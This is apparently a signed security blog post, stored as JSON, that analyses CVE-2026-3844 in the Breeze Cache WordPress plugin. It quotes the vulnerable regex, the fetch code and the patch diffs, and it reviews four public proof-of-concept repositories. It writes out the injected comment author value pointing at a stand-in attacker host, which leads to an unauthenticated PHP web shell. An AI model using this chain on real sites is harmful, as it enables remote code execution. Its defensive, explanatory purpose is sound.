-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The class is named CronJobs. The bug is not in a cron.\n\nThe vulnerable code lives in `inc/class-breeze-cache-cronjobs.php`, in a class called `Breeze_Cache_CronJobs`. The class does register a cron, a weekly `breeze_clear_remote_gravatar` job that calls `extra_cache_cleanup` on the gravatar directory. That is the cron in `Breeze_Cache_CronJobs`. The exploit does not touch it.\n\nThe constructor's other action is what matters:\n\n```php\nfunction __construct( $enabled ) {\n if ( $enabled ) {\n ...\n add_filter( 'get_avatar', array( &$this, 'breeze_replace_gravatar_image' ) );\n }\n}\n```\n\n`get_avatar` is a WordPress filter that fires every time core or a theme renders an avatar. Comments render avatars. So every time a visitor loads a post page that has a comment, `breeze_replace_gravatar_image` runs synchronously inside that visitor's request. There is no queue. There is no rate limit. The download to a third-party host happens on the page load itself, blocking the response.\n\nThe class name documents the cleanup half. The exploit lives in the render-time half. The `cron` in the name is camouflage for half the file's surface.\n\n## The regex matched `srcset=` as a substring, not as an attribute.\n\n`breeze_replace_gravatar_image` receives the avatar HTML that `get_avatar` is about to return. It tries to find URLs inside that HTML by regex. The vulnerable regex, verbatim:\n\n```php\npreg_match_all(\n '/srcset=[\"\\']?((?:.(?![\"\\']?\\s+(?:\\S+)=|\\s*\\/?[>\"\\']))+.)[\"\\']?/',\n $gravatar,\n $srcset\n);\nif ( isset( $srcset[1] ) && isset( $srcset[1][0] ) ) {\n $url = explode( ' ', $srcset[1][0] )[0];\n $local_gravatars = $this->fetch_gravatar_from_remote( $url );\n $gravatar = str_replace( $url, $local_gravatars, $gravatar );\n}\n```\n\nThe leading `srcset=` has no anchor in front of it. The quote characters around the value are optional. The capture group runs until a negative lookahead spots the next attribute or the close of the tag. This matches the substring `srcset=...` anywhere in the input, including inside the value of another attribute.\n\nThe HTML produced by `get_avatar` is an `` tag whose `alt` attribute carries the comment author's name. WordPress HTML-escapes that name before placing it in the attribute. The escaping converts `<`, `>`, `\"`, `'`, `&`. It does not convert the literal characters `srcset=`, because `srcset=` is not special in HTML.\n\nThe PoC posts a comment with the literal author name `x srcset=http://attacker/s.php`. The rendered avatar HTML contains, approximately:\n\n```html\nx srcset=http://attacker/s.php\n```\n\nThe regex's first match for `srcset=` lands inside the `alt` attribute. It captures `http://attacker/s.php`. That string is fed to `fetch_gravatar_from_remote`.\n\nThe patch:\n\n```diff\n-preg_match_all( '/srcset=[\"\\']?((?:.(?![\"\\']?\\s+(?:\\S+)=|\\s*\\/?[>\"\\']))+.)[\"\\']?/', $gravatar, $srcset );\n-if ( isset( $srcset[1] ) && isset( $srcset[1][0] ) ) {\n- $url = explode( ' ', $srcset[1][0] )[0];\n+if ( preg_match( '/\\ssrcset=[\"\\']([^\"\\']+)[\"\\']/', $gravatar, $srcset_match ) ) {\n+ $url = explode( ' ', trim( $srcset_match[1] ) )[0];\n```\n\nThe new regex requires a leading whitespace character (`\\s`) before `srcset=` and a mandatory quoted value after it. Both anchors are necessary. The author injection no longer matches because the `srcset=` inside the alt attribute is preceded by a quote character, not by whitespace.\n\nThis was the regex's whole job: locate srcset values in HTML. It was an HTML attribute parser, written as a substring search. The fix is the regex correctly written for the first time.\n\n## `fetch_gravatar_from_remote` checked nothing.\n\nThe pre-patch function, with the housekeeping elided:\n\n```php\nprivate function fetch_gravatar_from_remote( string $url = '' ): string {\n if ( empty( $url ) ) { return ''; }\n $local_gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );\n $saved_gravatar = $this->check_for_content( 'gravatars', $local_gravatar_name );\n if ( ! empty( $saved_gravatar ) ) { return $saved_gravatar; }\n $gravatar_local_path = $this->get_local_extra_cache_directory( 'gravatars' );\n $gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );\n if ( ! file_exists( $gravatar_local_path . $gravatar_name ) ) {\n $temp_gravatar = download_url( $url );\n if ( ! is_wp_error( $temp_gravatar ) ) {\n $is_saved = $wp_filesystem->move(\n $temp_gravatar,\n $gravatar_local_path . $gravatar_name,\n true\n );\n ...\n }\n }\n return content_url( '/cache/breeze-extra/gravatars/' . $blog_id . $gravatar_name );\n}\n```\n\nEmpty-string check. URL parse. Cache lookup. Download. Save. Return URL. The filename written to disk is `basename( wp_parse_url( $url, PHP_URL_PATH ) )`, which is whatever the attacker chose. The destination is `wp-content/cache/breeze-extra/gravatars/`, which is under the WordPress content directory and is served by the configured PHP handler with no special restriction on `.php`. The function trusts the URL it received from the regex. It does not verify that the URL points at gravatar.com. It does not verify that the URL ends in an image extension. It does not verify that the response body resembles an image. It writes the bytes to a path the web server will execute on the next request.\n\nThe patch added the four checks the function name had been promising:\n\n```diff\n+$host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );\n+if ( 'gravatar.com' !== $host && '.gravatar.com' !== substr( $host, -13 ) ) {\n+ return $url;\n+}\n+\n+$gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );\n+$filetype = wp_check_filetype( $gravatar_name );\n+$allowed_images = array( 'image/jpeg', 'image/png', 'image/gif' );\n+\n+if ( ! empty( $filetype['type'] ) && ! in_array( $filetype['type'], $allowed_images, true ) ) {\n+ return $url;\n+}\n...\n+$file_check = wp_check_filetype_and_ext( $temp_gravatar, $gravatar_name );\n+if ( empty( $file_check['type'] ) || 0 !== strpos( $file_check['type'], 'image/' ) ) {\n+ @unlink( $temp_gravatar );\n+ return $url;\n+}\n```\n\nHost allowlist. Filename extension allowlist. Pre-download type check from the filename. Post-download content-type check on the body. Four definitional checks for \"this is a gravatar.\" The pre-patch code had none. The function's contract was advertised in its name and nowhere else.\n\n## What the description names, and what the patch does.\n\nThe NVD entry and the cve.org record both describe the bug as \"missing file type validation in the `fetch_gravatar_from_remote` function.\" That is the fourth check in the patched diff. It is also the only check the description names.\n\nThe other three checks in the patch correspond to three other failures. The host allowlist closes \"fetch_gravatar accepts URLs that are not gravatar URLs.\" The filename extension check closes \"fetch_gravatar saves files whose names assert they are not images.\" The regex anchoring closes \"the function fetched URLs that were not in srcset positions at all.\" None of these three appear in the description. A defender reading the advisory and grepping their fleet for \"missing file type validation\" finds one of the four shapes. The pattern they would need to find the other three is \"fetcher named for what it should do, written as if for what it is being asked to do.\"\n\n## This is unauth-write-to-execution-path. Again.\n\nThe shape this CVE composes is the one [Unauth Write To Execution Path](/patterns/unauth-write-to-execution-path) names. An unauthenticated request triggers a write into a directory the web server is configured to execute from. The request is `POST /wp-comments-post.php` with a comment author that contains a literal `srcset=` substring. The write happens later, on the first GET of any page that renders that comment. The file lands in `wp-content/cache/breeze-extra/gravatars/` with the attacker's filename. The PHP handler executes it on the next request. There is no shellcode in this story, no race condition, no parser confusion. Three architectural decisions composed: a write trigger that does not authenticate, a write directory that overlaps the execute path, and a write contract that does not validate the file's identity. Removing any one would have broken the chain. Cloudways shipped a function that removed none of them, and the company did so with the function carrying a name that asserted, falsely, that it was a constrained primitive.\n\nThe pattern catalog has been collecting these. CrushFTP. SAP NetWeaver. The [Pix for WooCommerce CVE](/posts/pix-woocommerce-nonce-is-not-auth) wrote shells into a plugin directory that PHP served. The Breeze Cache instance is the same shape with a different filename: a 12-character random PHP file written by `www-data`, served on the next GET, executed as PHP, returning whatever the attacker's `?cmd=` parameter wanted run.\n\nThe plugin reports 400,000 active installations. The exploitable subset is smaller, gated on the \"Host Files Locally - Gravatars\" setting, which is off by default. That setting is a privacy feature: it stops the WordPress server from making outbound requests to gravatar.com on behalf of every visitor and stops gravatar.com from recording every visitor's IP. Site administrators who turned it on were minimizing third-party data flow. The setting that defenders chose for privacy is the setting that opened the unauthenticated path to the execute root. The setting label said \"Host Files Locally.\" The function it enabled hosted whatever the regex pointed at.\n\n## The PoCs.\n\nFour public PoCs exist as of disclosure plus three days. They are not the same kind of artifact.\n\n`dinosn/CVE-2026-3844` is research-quality. It ships a Docker lab, a single-target exploit script, and a payload (`shell.php`) that echoes a verification token and exits. The README walks the chain end to end. Run against the lab, it confirms the bug. Run against an arbitrary internet target, it does the same thing the lab did. The payload is harmless because it was written that way; the chain is not.\n\n`im-hanzou/CVE-2026-3844` is a campaign kit. It uses a `multiprocessing.Pool` with a default of ten worker processes, ingests target lists from a file, generates a 12-character random filename per target, and appends successful uploads to `successful_uploads.txt` in the format ` | `. The default payload URL is hardcoded to a GitHub gist owned by the same author. The README contains the line \"This tool is for educational and authorized security research purposes only.\"\n\n`0xgh057r3c0n/CVE-2026-3844` is a fork of im-hanzou's script with a different ASCII banner. It defaults to the same gist URL as im-hanzou's payload, including the same SHA-pinned path. The author did not change the default. The two repositories are the same exploit run by the same payload, distinguishable by which terminal banner they print first. Both ship behind the same disclaimer. Both follow the [Disclaimer Wrapped Campaign Kit](/patterns/disclaimer-wrapped-campaign-kit) shape: the README claims authorized testing, the architecture and the output format describe an accumulator built to scale.\n\n`tausifzaman/CVE-2026-3844` would not exploit this bug if anyone ran it. The script POSTs a multipart/form-data upload to `/wp-admin/admin-ajax.php` with `action=breeze_fetch_gravatar`, an AJAX action that does not exist in the Breeze codebase. It then checks for shells at `wp-content/uploads/avatars/shell.php` and similar paths the plugin never writes to. The version-check predicate compares against `2.1.19` while a comment on the next line names the actual maximum vulnerable version `2.4.4`; the comparison is never updated to use the second variable. This PoC is not a different angle on the bug. It is a repository with a CVE number for a name and code that does not perform the CVE.\n\nThree of the four are honest in different directions. One is the artifact of publishing an exploit-shaped repository on the day of disclosure regardless of whether the exploit works. Defenders building detection from \"what the public PoCs do\" are looking at three working chains, one fork, and one piece of stagecraft.\n\n## What the description does not say.\n\nThe CVE description is correct about the file type validation gap. It is also correct in a way that lets defenders patch one check and call the work done. The other three checks the patch added were the ones that defined \"this function fetches gravatars\" rather than \"this function fetches whatever URL is handed to it.\" Those three were missing for the same reason the file type check was missing: the function's name was treated as documentation of intent, and intent was treated as enforcement.\n\nPoC: [dinosn/CVE-2026-3844](https://github.com/dinosn/CVE-2026-3844)","closing_line":"The function had one gravatar-specific thing about it. Its name.","hook_md":"The CVE description names one missing check: file type validation. The patch added four. It now refuses any URL whose host is not gravatar.com, refuses any filename whose extension is not in an image allowlist, refuses any HTTP response whose detected content-type does not start with `image/`, and rewrote the regex that decided which URLs to fetch in the first place. The function it patched is named `fetch_gravatar_from_remote`. Pre-patch, the function did not check the host, did not check the filename, did not check the response, and accepted whatever URL a substring-matching regex could pull out of the avatar HTML. The function had one gravatar-specific thing about it. Its name.","post_id":46,"slug":"breeze-cache-cve-2026-3844-gravatar-fetcher-fetched-anything","title":"CVE-2026-3844: The Gravatar Fetcher Fetched Anything","type":"initial","unreadable_sentence":"The function had one gravatar-specific thing about it. Its name."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCae45mgAKCRDeZjl4jgkQ JjgCAQC5Oxjb7J+BwJU33APMiSahJanBvKQH8D577b7oqbBSEgEAs+hFqDYSaRYS kZJkDpA24aJxXSPmXIvVJHFzvLnnVQE= =H1or -----END PGP SIGNATURE-----